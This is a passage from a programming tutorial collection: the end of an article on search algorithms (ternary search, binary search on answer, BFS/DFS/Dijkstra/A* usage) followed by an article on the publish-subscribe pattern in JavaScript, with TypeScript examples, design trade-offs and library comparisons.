**Philosophy**: Find maximum/minimum of unimodal function by dividing into three parts.

```typescript
// Find maximum of unimodal function
function ternarySearchMax(f: (x: number) => number, left: number, right: number, epsilon: number = 1e-9): number {
  while (right - left > epsilon) {
    const mid1 = left + (right - left) / 3
    const mid2 = right - (right - left) / 3

    if (f(mid1) < f(mid2)) {
      left = mid1
    } else {
      right = mid2
    }
  }

  return (left + right) / 2
}

// For discrete arrays (unimodal peak finding)
function findPeakElement(arr: number[]): number {
  let left = 0
  let right = arr.length - 1

  while (left < right) {
    const mid = left + Math.floor((right - left) / 2)

    if (arr[mid] < arr[mid + 1]) {
      left = mid + 1 // Peak is on the right
    } else {
      right = mid // Peak is on the left or at mid
    }
  }

  return left
}
```

| Property     | Value                                  |
| ------------ | -------------------------------------- |
| Time         | O(log n)                               |
| Space        | O(1)                                   |
| Prerequisite | Unimodal function (single peak/valley) |
| Use case     | Optimization problems                  |

**Practical applications**:

- **Mathematical optimization**: Finding maximum profit, minimum cost in convex/concave functions
- **Machine learning**: Finding optimal learning rate, hyperparameter tuning
- **Signal processing**: Finding peak frequency in unimodal distributions
- **Physics simulations**: Finding equilibrium points
- **Resource allocation**: Finding optimal allocation in convex cost functions

---

### 13. Binary Search on Answer

**Philosophy**: Binary search on the solution space rather than the array itself.

```typescript
// Example: Find minimum capacity to ship packages in D days
function shipWithinDays(weights: number[], days: number): number {
  // Can we ship with given capacity?
  function canShip(capacity: number): boolean {
    let daysNeeded = 1
    let currentLoad = 0

    for (const weight of weights) {
      if (currentLoad + weight > capacity) {
        daysNeeded++
        currentLoad = weight
        if (daysNeeded > days) return false
      } else {
        currentLoad += weight
      }
    }

    return true
  }

  // Binary search on capacity
  let left = Math.max(...weights) // Minimum possible
  let right = weights.reduce((a, b) => a + b, 0) // Maximum possible

  while (left < right) {
    const mid = left + Math.floor((right - left) / 2)
    if (canShip(mid)) {
      right = mid // Try smaller capacity
    } else {
      left = mid + 1 // Need larger capacity
    }
  }

  return left
}

// Example: Find square root
function sqrt(x: number, precision: number = 1e-6): number {
  let left = 0
  let right = x

  while (right - left > precision) {
    const mid = (left + right) / 2
    if (mid * mid <= x) {
      left = mid
    } else {
      right = mid
    }
  }

  return left
}
```

**Practical applications**:

- **Capacity planning**: Server capacity, bandwidth allocation
- **Resource optimization**: Minimum resources to complete tasks
- **Rate limiting**: Finding optimal rate limits
- **Competitive programming**: Common technique for optimization problems

---

## Search Algorithm Comparison

### Quick Reference Table

| Algorithm            | Data Structure | Time           | Space      | Prerequisite         | Optimal Path       |
| -------------------- | -------------- | -------------- | ---------- | -------------------- | ------------------ |
| Linear Search        | Array          | O(n)           | O(1)       | None                 | N/A                |
| Binary Search        | Sorted Array   | O(log n)       | O(1)       | Sorted               | N/A                |
| Jump Search          | Sorted Array   | O(√n)          | O(1)       | Sorted               | N/A                |
| Interpolation Search | Sorted Array   | O(log log n)   | O(1)       | Sorted + uniform     | N/A                |
| Exponential Search   | Sorted Array   | O(log n)       | O(1)       | Sorted               | N/A                |
| BFS                  | Graph          | O(V + E)       | O(V)       | None                 | Yes (unweighted)   |
| DFS                  | Graph          | O(V + E)       | O(h)       | None                 | No                 |
| Bidirectional BFS    | Graph          | O(b^(d/2))     | O(b^(d/2)) | None                 | Yes (unweighted)   |
| Dijkstra             | Weighted Graph | O((V+E) log V) | O(V)       | Non-negative weights | Yes                |
| A\*                  | Weighted Graph | O(E)           | O(V)       | Good heuristic       | Yes (admissible h) |
| Ternary Search       | Function       | O(log n)       | O(1)       | Unimodal             | N/A                |

### Decision Tree: Which Search to Use?

```
What are you searching?
│
├─ Array/List
│  │
│  ├─ Unsorted → Linear Search
│  │
│  └─ Sorted
│     │
│     ├─ Small (n < 100) → Linear Search
│     ├─ Large, uniformly distributed → Interpolation Search
│     ├─ Unbounded/infinite → Exponential Search
│     ├─ Expensive random access (disk) → Jump Search
│     └─ General case → Binary Search
│
└─ Graph
   │
   ├─ Unweighted
   │  │
   │  ├─ Find any path → DFS
   │  ├─ Shortest path → BFS
   │  └─ Both start & end known → Bidirectional BFS
   │
   └─ Weighted
      │
      ├─ No heuristic available → Dijkstra
      ├─ Goal known + good heuristic → A*
      └─ Negative weights → Bellman-Ford (not covered)
```

---

## Practical Usage Guide: When to Use Each Algorithm

### Linear Search: The Universal Fallback

**Use when:**

- Array is unsorted and sorting is too expensive
- Very small datasets (n < 100)
- Single search query (sorting overhead not justified)
- Need custom predicate (not simple equality)
- Working with linked lists (no random access)

**Real-world examples:**

```typescript
// 1. Finding first user matching complex criteria
function findUser(users: User[], predicate: (u: User) => boolean): User | undefined {
  return users.find(predicate) // Linear search with custom predicate
}

// 2. Configuration file search
const setting = configLines.find((line) => line.startsWith("DEBUG="))

// 3. Form validation
const hasError = formFields.some((field) => !field.isValid())
```

---

### Binary Search: The Sorted Array Champion

**Use when:**

- Array is sorted or can be sorted once
- Multiple search queries justify sorting cost
- Need O(log n) guarantees
- Working with large sorted datasets

**Real-world examples:**

```typescript
// 1. Finding user by sorted ID
function findUserById(users: User[], id: number): User | undefined {
  // Assumes users are sorted by id
  const idx = binarySearch(
    users.map((u) => u.id),
    id,
  )
  return idx >= 0 ? users[idx] : undefined
}

// 2. Finding version compatibility
function findCompatibleVersion(versions: string[], targetVersion: string): string {
  // Binary search through sorted semantic versions
}

// 3. Range queries on sorted data
function findUsersInAgeRange(users: User[], minAge: number, maxAge: number): User[] {
  const startIdx = lowerBound(
    users.map((u) => u.age),
    minAge,
  )
  const endIdx = upperBound(
    users.map((u) => u.age),
    maxAge,
  )
  return users.slice(startIdx, endIdx)
}

// 4. Git bisect (finding bug-introducing commit)
// Binary search through commit history to find where bug was introduced
```

**Avoid when:**

- Data is unsorted and won't be searched multiple times
- Array changes frequently (sorting overhead on every change)

---

### BFS: The Shortest Path Finder

**Use when:**

- Need shortest path in unweighted graph
- Level-order traversal needed
- All solutions at same depth should be found
- Memory is not severely constrained

**Real-world examples:**

```typescript
// 1. Social network degrees of separation
function degreesOfSeparation(userId1: string, userId2: string, friends: Map<string, string[]>): number {
  const distances = bfsWithDistance(friends, userId1)
  return distances.get(userId2) ?? -1
}

// 2. Web crawler (respecting depth limits)
function crawlWebsite(startUrl: string, maxDepth: number): Set<string> {
  const visited = new Set<string>()
  const queue: [string, number][] = [[startUrl, 0]]

  while (queue.length > 0) {
    const [url, depth] = queue.shift()!
    if (depth > maxDepth || visited.has(url)) continue

    visited.add(url)
    const links = extractLinks(url)
    links.forEach((link) => queue.push([link, depth + 1]))
  }

  return visited
}

// 3. Finding minimum moves in puzzle
function minMovesToSolve(initialState: PuzzleState, goalState: PuzzleState): number {
  // BFS to find shortest solution
}

// 4. Network broadcasting
function broadcastMessage(startNode: number, network: Graph): void {
  // BFS ensures message reaches all nodes in minimum hops
}
```

---

### DFS: The Explorer and Detector

**Use when:**

- Finding any path (not necessarily shortest)
- Memory is constrained (prefer stack depth over queue width)
- Detecting cycles
- Topological sorting
- Backtracking problems

**Real-world examples:**

```typescript
// 1. Detecting circular dependencies
function hasCircularDependency(packages: Map<string, string[]>): boolean {
  return hasCycleDFS(packages)
}

// 2. Build order determination
function determineBuildOrder(dependencies: Map<string, string[]>): string[] {
  return topologicalSort(dependencies)
}

// 3. Maze generation
function generateMaze(width: number, height: number): Maze {
  // DFS to create maze with single solution path
}

// 4. File system traversal
function findAllFiles(dirPath: string): string[] {
  const files: string[] = []

  function dfs(path: string): void {
    const entries = fs.readdirSync(path)
    for (const entry of entries) {
      const fullPath = path + "/" + entry
      if (fs.statSync(fullPath).isDirectory()) {
        dfs(fullPath) // Recurse into directory
      } else {
        files.push(fullPath)
      }
    }
  }

  dfs(dirPath)
  return files
}

// 5. Decision tree exploration
function evaluateDecisionTree(node: DecisionNode): Result {
  // DFS through possible decisions, backtracking when needed
}
```

---

### Dijkstra: The Weighted Pathfinder

**Use when:**

- Need shortest path in weighted graph
- All edge weights are non-negative
- Want shortest path from source to all nodes
- No good heuristic available for A\*

**Real-world examples:**

```typescript
// 1. Route planning with traffic
function findFastestRoute(
  start: Location,
  end: Location,
  roadNetwork: WeightedGraph, // Weight = travel time
): Route {
  const result = dijkstraWithPath(roadNetwork, start, end)
  return result?.path ?? []
}

// 2. Network packet routing (OSPF protocol)
function computeRoutingTable(router: number, network: WeightedGraph): Map<number, number> {
  return dijkstra(network, router) // Shortest path to all destinations
}

// 3. Cheapest flight itinerary
function findCheapestFlights(
  origin: string,
  destination: string,
  flights: WeightedGraph, // Weight = price
): number {
  const distances = dijkstra(flights, origin)
  return distances.get(destination) ?? Infinity
}
```

---

### A\*: The Guided Pathfinder

**Use when:**

- Need shortest path AND have a good heuristic
- Want faster search than Dijkstra
- Goal is known in advance
- Can estimate remaining cost accurately

**Real-world examples:**

```typescript
// 1. Game pathfinding (RTS, RPG)
function findPathForUnit(unit: Unit, target: Point, gameMap: Grid): Point[] {
  const heuristic = (node: Point) => manhattanDistance(node, target)
  return astarGrid(gameMap, unit.position, target) ?? []
}

// 2. GPS navigation with straight-line heuristic
function findRoute(start: Point, end: Point, roadMap: WeightedGraph): Point[] {
  const heuristic = (node: number) => {
    const nodePos = getPosition(node)
    return euclideanDistance(nodePos, end)
  }
  return astar(roadMap, start, end, heuristic)?.path ?? []
}

// 3. Puzzle solvers (15-puzzle, Rubik's cube)
function solvePuzzle(initial: PuzzleState, goal: PuzzleState): Move[] {
  const heuristic = (state: PuzzleState) => manhattanDistanceHeuristic(state, goal)
  // A* finds optimal solution efficiently
}

// 4. Robot motion planning
function planRobotPath(robot: Robot, target: Point, obstacles: Obstacle[]): Path {
  // A* with heuristic considering both distance and obstacle avoidance
}
```

---

## Advanced Topics

### Hash-Based Search (O(1) Average)

While not traditionally classified as a "search algorithm," hash tables provide the fastest average-case search:

```typescript
// Hash table for O(1) lookup
const userMap = new Map<string, User>()

// O(1) search
const user = userMap.get(userId)

// When to use:
// - Exact key lookup needed
// - No range queries needed
// - Memory for hash table available
// - Fast average case more important than worst-case guarantee
```

**Trade-offs**:

- **Pros**: O(1) average case, simple to use
- **Cons**: O(n) worst case, no ordered traversal, extra memory

---

### Informed vs Uninformed Search

**Uninformed (blind) search**: No knowledge of goal location

- Linear Search, Binary Search, BFS, DFS, Dijkstra

**Informed search**: Uses heuristics/domain knowledge

- A\*, Greedy Best-First Search, Beam Search

**Key insight**: Informed search can be exponentially faster with good heuristics, but requires domain knowledge.

---

### Parallel Graph Search

```typescript
// Parallel BFS (conceptual)
async function parallelBFS(graph: Graph, start: number): Promise<void> {
  const visited = new Set<number>([start])
  let frontier = [start]

  while (frontier.length > 0) {
    // Process current level in parallel
    const nextFrontier = await Promise.all(
      frontier.map(async (node) => {
        const neighbors = graph.get(node) || []
        return neighbors.filter((n) => !visited.has(n))
      }),
    )

    // Flatten and deduplicate
    frontier = [...new Set(nextFrontier.flat())]
    frontier.forEach((node) => visited.add(node))
  }
}
```

**Practical use**: Large-scale graph processing (Google's Pregel, Apache Giraph)

---

### Memory-Efficient Graph Search

**Iterative Deepening DFS (IDDFS)**:

- Combines DFS space efficiency with BFS completeness
- Runs DFS with increasing depth limits
- Time: O(V + E), Space: O(d) where d is depth

```typescript
function iddfs(graph: Graph, start: number, target: number): boolean {
  for (let maxDepth = 0; maxDepth < Infinity; maxDepth++) {
    const visited = new Set<number>()
    if (dfsLimited(graph, start, target, maxDepth, visited)) {
      return true
    }
  }
  return false
}

function dfsLimited(graph: Graph, node: number, target: number, depth: number, visited: Set<number>): boolean {
  if (node === target) return true
  if (depth === 0) return false

  visited.add(node)

  for (const neighbor of graph.get(node) || []) {
    if (!visited.has(neighbor)) {
      if (dfsLimited(graph, neighbor, target, depth - 1, visited)) {
        return true
      }
    }
  }

  return false
}
```

**Use case**: Large graphs where BFS queue won't fit in memory.

---

## Conclusion

Search algorithms are fundamentally about exploiting structure. The more you know about your data, the faster you can find what you're looking for.

**For arrays:** Sorted data unlocks logarithmic search. If you only search once, sorting isn't worth it. If you search repeatedly, build an index (sort, hash, or tree).

**For graphs:** The choice between BFS and DFS depends on what you're optimizing. BFS guarantees shortest paths but uses O(width) memory. DFS uses O(depth) memory but may not find optimal paths. When edges have weights, Dijkstra extends BFS; when you have a good heuristic, A\* focuses the search.

**In practice:** Theoretical complexity is a starting point, not the final answer. Cache effects, branch prediction, and constant factors matter. Profile with real data. And remember: hash tables exist—O(1) average lookup often beats clever algorithms for point queries.

## Appendix

### Prerequisites

- **Big-O notation**: Familiarity with time and space complexity analysis
- **Basic data structures**: Arrays, linked lists, stacks, queues, hash tables
- **Graph fundamentals**: Vertices, edges, adjacency lists, directed vs undirected graphs
- **Recursion**: Understanding of recursive function calls and the call stack

### Terminology

| Term                 | Definition                                                                        |
| -------------------- | --------------------------------------------------------------------------------- |
| **Admissible**       | A heuristic that never overestimates the cost to reach the goal (A\* requirement) |
| **BFS**              | Breadth-First Search—explores all neighbors before moving to the next level       |
| **Branching factor** | Average number of successors per node (b)                                         |
| **Complete**         | An algorithm that is guaranteed to find a solution if one exists                  |
| **Consistent**       | A heuristic where h(n) ≤ cost(n,n') + h(n') for every edge (triangle inequality)  |
| **DFS**              | Depth-First Search—explores as deep as possible before backtracking               |
| **IDDFS**            | Iterative Deepening DFS—combines DFS space efficiency with BFS completeness       |
| **Lower bound**      | First position where an element can be inserted while maintaining sorted order    |
| **Optimal**          | An algorithm that is guaranteed to find the best (e.g., shortest) solution        |
| **Upper bound**      | First position where an element is strictly greater than the target               |

### Summary

- **Linear search O(n)**: Only option for unsorted data; optimal for small arrays or single queries
- **Binary search O(log n)**: Standard for sorted arrays; watch for integer overflow in mid calculation
- **BFS O(V+E)**: Guarantees shortest path in unweighted graphs; level-order exploration
- **DFS O(V+E)**: Memory efficient (O(depth) vs O(width)); use for cycle detection, topological sort
- **Dijkstra O((V+E) log V)**: Shortest path for non-negative weighted graphs; greedy with priority queue
- **A\* O(E) best case**: Dijkstra + heuristic; exponentially faster with good heuristic, optimal if admissible

### References

**Foundational Texts:**

- [Introduction to Algorithms (CLRS), 4th Edition](https://mitpress.mit.edu/9780262046305/introduction-to-algorithms/) - Cormen, Leiserson, Rivest, Stein. Chapters 22-24 cover graph algorithms; Chapter 12 covers binary search trees.

**Algorithm-Specific Sources:**

- [A\* Search Algorithm - Wikipedia](https://en.wikipedia.org/wiki/A*_search_algorithm) - History, optimality proofs, and variants. Originally published by Hart, Nilsson, Raphael (1968).
- [Dijkstra's Algorithm - Wikipedia](https://en.wikipedia.org/wiki/Dijkstra%27s_algorithm) - Original 1959 paper reference, complexity analysis with different heap implementations.
- [Interpolation Search - Wikipedia](https://en.wikipedia.org/wiki/Interpolation_search) - Average-case O(log log n) proof for uniformly distributed data.

**Standards and RFCs:**

- [RFC 2328: OSPF Version 2](https://datatracker.ietf.org/doc/html/rfc2328) - Section 16 details Dijkstra's algorithm in network routing context.

**Practical Implementations:**

- [Git Bisect Documentation](https://git-scm.com/docs/git-bisect) - Binary search applied to version control for bug finding.
- [Amit's A\* Pages](http://theory.stanford.edu/~amitp/GameProgramming/) - Comprehensive guide to pathfinding in games, heuristic design, and optimization techniques.
- [Red Blob Games: Introduction to A\*](https://www.redblobgames.com/pathfinding/a-star/introduction.html) - Interactive visualizations of BFS, Dijkstra, and A\*.

---

## Publish-Subscribe Pattern in JavaScript

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/programming-patterns/javascript-patterns/publish-subscribe-pattern
**Category:** Programming & Patterns / JavaScript Patterns
**Description:** Architectural principles, implementation trade-offs, and production patterns for event-driven systems. Covers the three decoupling dimensions, subscriber ordering guarantees, error isolation strategies, and when Pub/Sub is the wrong choice.

# Publish-Subscribe Pattern in JavaScript

Architectural principles, implementation trade-offs, and production patterns for event-driven systems. Covers the three decoupling dimensions, subscriber ordering guarantees, error isolation strategies, and when Pub/Sub is the wrong choice.

<figure>

![Pub/Sub architecture: publishers emit to a broker that dispatches to all registered subscribers](./pub-sub-architecture-publishers-emit-to-a-broker-that-dispatches-to-all-register.svg)

<figcaption>Pub/Sub architecture: publishers emit to a broker that dispatches to all registered subscribers</figcaption>
</figure>

## Abstract

**Mental Model:** Pub/Sub trades explicit control flow for decoupling. Publishers fire events into a broker without knowing who (if anyone) receives them. Subscribers register interest without knowing who produces events. The broker is the single point of coupling.

<figure>

![Pub/Sub provides space, time, and synchronization decoupling—at the cost of implicit control flow](./pub-sub-provides-space-time-and-synchronization-decoupling-at-the-cost-of-implic.svg)

<figcaption>Pub/Sub provides space, time, and synchronization decoupling—at the cost of implicit control flow</figcaption>
</figure>

**Core Trade-off:** Loose coupling enables independent component evolution and many-to-many communication. The cost is implicit control flow—debugging requires tracing events across the system rather than following function calls.

**Key Implementation Decisions:**

| Decision           | Recommendation                | Why                                                                              |
| ------------------ | ----------------------------- | -------------------------------------------------------------------------------- |
| Subscriber storage | `Map<string, Set<Function>>`  | O(1) add/delete, prevents duplicates, preserves insertion order (ES6+ guarantee) |
| Error isolation    | try/catch per subscriber      | One failing subscriber must not break others                                     |
| Async publish      | Return `Promise.allSettled()` | Await completion without short-circuiting on errors                              |
| Cleanup            | Return unsubscribe function   | Prevents memory leaks; ties to component lifecycle                               |

**When NOT to Use:**

- Request-response patterns (use direct calls)
- Single known recipient (Observer pattern suffices)
- When you need delivery guarantees (Pub/Sub doesn't guarantee delivery)
- Simple systems unlikely to scale (unnecessary indirection)

## The Three Dimensions of Decoupling

Eugster et al.'s foundational paper ["The Many Faces of Publish/Subscribe"](https://dl.acm.org/doi/10.1145/857076.857078) defines pub/sub as providing "full decoupling of the communicating entities in time, space, and synchronization":

1. **Space Decoupling**: Publishers emit events without knowledge of which subscribers (if any) will receive them. Subscribers register without knowing which publishers produce events. Neither knows the other's identity, location, or count.

2. **Time Decoupling**: Publishers and subscribers need not be active simultaneously. In distributed systems (MQTT, AMQP), a subscriber can receive messages published while it was offline. In-process implementations typically lack this—events are lost if no subscriber exists at publish time.

3. **Synchronization Decoupling**: Publishing is non-blocking. The publisher hands the event to the broker and continues immediately. This contrasts with RPC, which the paper notes has "synchronous nature... [which] introduces a strong time, synchronization, and also space coupling."

### Pub/Sub vs Observer Pattern

| Aspect        | Observer                           | Pub/Sub                                          |
| ------------- | ---------------------------------- | ------------------------------------------------ |
| Coupling      | Subject knows observers directly   | Publishers and subscribers unknown to each other |
| Intermediary  | None—Subject IS the dispatcher     | Broker/Event Bus required                        |
| Cardinality   | One-to-many                        | Many-to-many                                     |
| Typical scope | In-process, single component       | Cross-component, potentially distributed         |
| Use case      | UI state binding, reactive streams | Module communication, microservices              |

Observer is appropriate when a single subject owns the state and notifies dependents. Pub/Sub is appropriate when multiple independent components need to communicate without direct references.

## Basic Implementation

A minimal implementation using ES6+ `Set` for O(1) subscriber management:

```ts title="basic-pub-sub.ts"
type Callback<T> = (data: T) => void

export class PubSub<T> {
  #subscribers = new Set<Callback<T>>()

  subscribe(callback: Callback<T>) {
    this.#subscribers.add(callback)
    return () => this.#subscribers.delete(callback)
  }

  publish(data: T) {
    for (const subscriber of this.#subscribers) {
      subscriber(data)
    }
  }
}
```

**Why `Set` over `Array`:**

- **O(1) add/delete** vs O(n) for array splice
- **Automatic deduplication**—same callback added twice is stored once
- **Insertion order guaranteed** per ECMA-262: "Set objects iterate through elements in insertion order"

If you need the same callback to fire multiple times per event (rare), use an array instead.

**Usage:**

```ts title="basic-usage.ts"
const events = new PubSub<{ userId: string; action: string }>()

const unsubscribe = events.subscribe((data) => console.log(data.action))

events.publish({ userId: "123", action: "login" })
events.publish({ userId: "123", action: "logout" })

unsubscribe() // Critical: prevents memory leaks
```

### DOM EventTarget Alternative

The browser's `EventTarget` provides native pub/sub via `CustomEvent`:

```ts title="dom-event-target.ts" collapse={1-2, 8-12}
// Publisher
const event = new CustomEvent("user:login", { detail: { userId: "123" } })
document.dispatchEvent(event)

// Subscriber
document.addEventListener("user:login", (e: CustomEvent) => {
  console.log(e.detail.userId)
})
```

**Limitations:**

- **Main thread only**—doesn't work in Web Workers or Node.js
- **No TypeScript generics**—`detail` is `any`
- **Global namespace**—all events share `document`, risking collisions

Custom implementation adds ~16 lines but works across all JavaScript runtimes.

## Production-Grade Implementation

Production systems require: topic-based routing, error isolation, async support, and proper typing. Key design decisions explained inline:

```ts title="production-pub-sub.ts" collapse={1-8, 72-75}
type Callback<T = unknown> = (data: T) => void | Promise<void>

interface Subscription {
  token: number
  unsubscribe: () => void
}

// Using Map<string, Map<number, Callback>> for:
// - O(1) topic lookup
// - O(1) subscriber add/remove by token
// - Stable iteration order (subscribers called in registration order)
class PubSub {
  private topics = new Map<string, Map<number, Callback>>()
  private nextToken = 0

  subscribe<T>(topic: string, callback: Callback<T>): Subscription {
    const token = this.nextToken++

    if (!this.topics.has(topic)) {
      this.topics.set(topic, new Map())
    }
    this.topics.get(topic)!.set(token, callback as Callback)

    return {
      token,
      unsubscribe: () => {
        const subscribers = this.topics.get(topic)
        if (subscribers) {
          subscribers.delete(token)
          // Clean up empty topics to prevent memory growth
          if (subscribers.size === 0) this.topics.delete(topic)
        }
      },
    }
  }

  // Synchronous publish with error isolation
  // Returns: whether any subscribers existed
  publish<T>(topic: string, data: T): boolean {
    const subscribers = this.topics.get(topic)
    if (!subscribers || subscribers.size === 0) return false

    for (const callback of subscribers.values()) {
      // Critical: try/catch per subscriber
      // One failing subscriber must not break others
      try {
        callback(data)
      } catch (error) {
        console.error(`[PubSub] Error in subscriber for "${topic}":`, error)
        // Optional: emit to error topic for centralized handling
        // this.publish('pubsub:error', { topic, error, data })
      }
    }
    return true
  }

  // Async publish: waits for all subscribers, doesn't short-circuit on errors
  async publishAsync<T>(topic: string, data: T): Promise<PromiseSettledResult<void>[]> {
    const subscribers = this.topics.get(topic)
    if (!subscribers || subscribers.size === 0) return []

    // Promise.allSettled (ES2020) ensures all subscribers complete
    // even if some reject—critical for reliable event handling
    const promises = Array.from(subscribers.values()).map(async (callback) => {
      await callback(data)
    })

    return Promise.allSettled(promises)
  }
}

// Singleton for cross-module communication
export const pubsub = new PubSub()
```

**Design Decisions:**

| Choice                                  | Rationale                                                           |
| --------------------------------------- | ------------------------------------------------------------------- |
| `Map<string, Map<number, Callback>>`    | Nested maps give O(1) operations at both topic and subscriber level |
| Numeric tokens                          | Monotonic IDs avoid collision; simpler than UUID                    |
| `Promise.allSettled` over `Promise.all` | Doesn't short-circuit on first rejection—all subscribers complete   |
| Empty topic cleanup                     | Prevents unbounded memory growth from stale topics                  |
| Per-subscriber try/catch                | Isolates failures; one bad subscriber doesn't break others          |

### Memory Leak Prevention

Memory leaks in pub/sub arise when subscribers outlive their intended scope. Common patterns:

1. **Anonymous functions can't be removed** — `removeEventListener` requires the same function reference
2. **Closures capture component state** — subscriber holds references preventing garbage collection
3. **Missing cleanup on unmount** — React components, Angular services, etc.

Node.js warns at 11+ listeners per event: `MaxListenersExceededWarning: Possible EventEmitter memory leak detected`.

**React Pattern (useEffect cleanup):**

```tsx title="react-usage.tsx" collapse={1-4}
import { useEffect, useState } from "react"
import { pubsub } from "./pubsub"

interface StatusEvent {
  userId: string
  isOnline: boolean
}

function UserStatus({ userId }: { userId: string }) {
  const [isOnline, setIsOnline] = useState(false)

  useEffect(() => {
    const { unsubscribe } = pubsub.subscribe<StatusEvent>("user:status", (data) => {
      if (data.userId === userId) setIsOnline(data.isOnline)
    })
    // Critical: cleanup on unmount or userId change
    return unsubscribe
  }, [userId])

  return <span>{isOnline ? "Online" : "Offline"}</span>
}
```

**Key points:**

- Return `unsubscribe` directly from `useEffect` — it's already a cleanup function
- Include `userId` in deps array — re-subscribes when prop changes
- Named function isn't needed since we use the returned `unsubscribe`

## Subscriber Ordering and Error Handling

### Execution Order Guarantees

**Are subscribers called in registration order?** It depends on the implementation.

Per ECMA-262, `Map` and `Set` iterate in insertion order. Our implementation using `Map<number, Callback>` guarantees subscribers execute in registration order.

Per [Node.js EventEmitter docs](https://nodejs.org/api/events.html): "All listeners attached to it at the time of emitting are called in order."

Per [WHATWG DOM Standard](https://dom.spec.whatwg.org/): EventTarget listeners are called in registration order within each phase.

**Caveat:** Not all libraries guarantee order. If order matters for your use case, either:

1. Use a single subscriber that orchestrates the sequence
2. Verify your library's implementation

### Async Subscriber Pitfalls

Node.js docs warn: "Using async functions with event handlers is problematic, because it can lead to an unhandled rejection in case of a thrown exception."

```ts title="async-pitfall.ts"
// Dangerous: unhandled rejection if async handler throws
pubsub.subscribe("data", async (data) => {
  await saveToDatabase(data) // If this throws, rejection is unhandled
})
```

**Solutions:**

1. **Use `publishAsync` with `Promise.allSettled`** (shown in production implementation)
2. **Wrap async subscribers in try/catch:**

```ts title="safe-async-subscriber.ts"
pubsub.subscribe("data", async (data) => {
  try {
    await saveToDatabase(data)
  } catch (error) {
    // Handle locally or emit to error topic
    pubsub.publish("error", { source: "data", error })
  }
})
```

## Advanced Capabilities

### Hierarchical Topics and Wildcard Subscriptions

Topic naming convention: `domain.entity.action` (e.g., `user.profile.updated`, `cart.item.added`).

Wildcard types (MQTT convention):

- `*` — matches exactly one segment: `user.*.login` matches `user.123.login`
- `#` — matches zero or more segments (must be last): `user.#` matches `user`, `user.123`, `user.123.login`

```ts title="wildcard-matching.ts" collapse={1-3}
// Matches subscription patterns like "user.*.login" or "user.#"
// against published topics like "user.123.login"
function topicMatches(pattern: string, topic: string): boolean {
  const patternParts = pattern.split(".")
  const topicParts = topic.split(".")

  for (let i = 0; i < patternParts.length; i++) {
    const p = patternParts[i]
    if (p === "#") return true // Multi-level: match rest
    if (p !== "*" && p !== topicParts[i]) return false
  }

  return patternParts.length === topicParts.length
}
```

### Backpressure Considerations

Standard pub/sub has **no built-in backpressure**. Publishers emit as fast as they can regardless of subscriber capacity.

**Strategies:**

- **Debounce/throttle at publish** — lossy but prevents flooding
- **Buffer with limits** — accumulate events, drop oldest when full
- **Async iterator with highWater** — libraries like [event-iterator](https://github.com/rolftimmermans/event-iterator) provide backpressure signals

For high-throughput systems, consider message queues (RabbitMQ, Redis Streams) with explicit acknowledgment.

## When NOT to Use Pub/Sub (Antipatterns)

Understanding when to avoid pub/sub is as important as knowing when to use it.

### 1. Forcing Commands into Pub/Sub

Per [CodeOpinion](https://codeopinion.com/beware-anti-patterns-in-event-driven-architecture/): "Commands do not use the publish-subscribe pattern. Trying to force everything into publish-subscribe when that's not the pattern you want will lead you to apply more patterns incorrectly."

**Command vs Event:**

- **Command**: "CreateOrder" — directed to a specific handler, expects execution
- **Event**: "OrderCreated" — notification of something that happened, no expectation of specific handler

### 2. Request-Reply Disguised as Events

If your publisher expects a specific response event back, you've recreated synchronous RPC with extra complexity. Use direct function calls or actual RPC instead.

### 3. CRUD Events Lacking Intent

`CustomerChanged` doesn't indicate _why_ something changed. Consumers must diff the data to infer intent. Prefer intent-revealing events: `CustomerAddressUpdated`, `CustomerDeactivated`.

### 4. Simple Systems

Pub/sub adds indirection. For a small app with straightforward component communication, direct function calls or context/props are simpler and more debuggable.

### 5. When Delivery Guarantees Matter

In-process pub/sub doesn't guarantee delivery. If no subscriber exists when an event fires, it's lost. For critical events, use message queues with persistence (Redis Streams, RabbitMQ, Kafka).

### Debugging Challenges

Martin Fowler: "It can become problematic if there really is a logical flow that runs over various event notifications. The problem is that it can be hard to see such a flow as it's not explicit in any program text."

The implicit control flow that provides loose coupling also makes debugging harder. Distributed tracing and careful logging are essential for production pub/sub systems.

## Real-World Applications

### Frontend: Cross-Component Communication

Pub/sub solves "prop drilling" when unrelated components need to react to the same events.

**E-commerce cart example:**

- `ProductCard` publishes `cart.item.added` on button click
- `CartIcon` subscribes → updates badge count
- `Toast` subscribes → shows confirmation
- `Analytics` subscribes → tracks conversion

Each subscriber is independent. Adding a new reaction requires no changes to `ProductCard`.

### Backend: Event-Driven Microservices

External brokers (Redis Pub/Sub, RabbitMQ, Google Cloud Pub/Sub, Kafka) provide distributed pub/sub with durability.

**User registration flow:**

- `UserService` publishes `user.created`
- `EmailService` → sends welcome email
- `AnalyticsService` → tracks signup metrics
- `OnboardingService` → queues tutorial sequence

Services deploy independently. Adding a new reaction (e.g., CRM sync) requires no changes to `UserService`.

## Build vs Buy Decision

For production, prefer battle-tested libraries unless you need custom semantics.

| Library                                                         | Size   | Wildcards        | TypeScript | API                        | Maintained       |
| --------------------------------------------------------------- | ------ | ---------------- | ---------- | -------------------------- | ---------------- |
| [mitt](https://github.com/developit/mitt)                       | 200B   | `*` (all events) | Yes        | `on()`, `off()`, `emit()`  | Yes (11k+ stars) |
| [nanoevents](https://github.com/ai/nanoevents)                  | 107B   | No               | Yes        | Returns unbind from `on()` | Yes              |
| [EventEmitter3](https://github.com/primus/eventemitter3)        | 1.5KB  | No               | Yes        | Node.js-compatible         | Yes              |
| [EventEmitter2](https://github.com/EventEmitter2/EventEmitter2) | Larger | Yes (`*`, `**`)  | Yes        | Extended EE API            | Yes              |

**Recommendations:**

- **Minimal footprint**: mitt or nanoevents (both under 200B)
- **Node.js API compatibility**: EventEmitter3
- **Wildcards needed**: EventEmitter2 (or MQTT/AMQP for distributed)
- **Learning**: Build your own—the 20-line implementation teaches the core

**mitt caveat:** The `*` handler receives all events but is a listener, not a wildcard pattern. Publishing to `*` directly causes double-triggering issues.

## Best Practices Summary

### Implementation Checklist

| Practice                        | Why                                                        |
| ------------------------------- | ---------------------------------------------------------- |
| Return unsubscribe function     | Enables cleanup; prevents memory leaks                     |
| Use `Map/Set` not plain objects | O(1) operations, guaranteed iteration order                |
| try/catch per subscriber        | Isolates failures; one bad handler doesn't break others    |
| `Promise.allSettled` for async  | Waits for all handlers; doesn't short-circuit on rejection |
| Clean up empty topics           | Prevents unbounded memory growth                           |
| Hierarchical topic names        | `domain.entity.action` enables wildcards, organization     |

### Error Handling Strategies

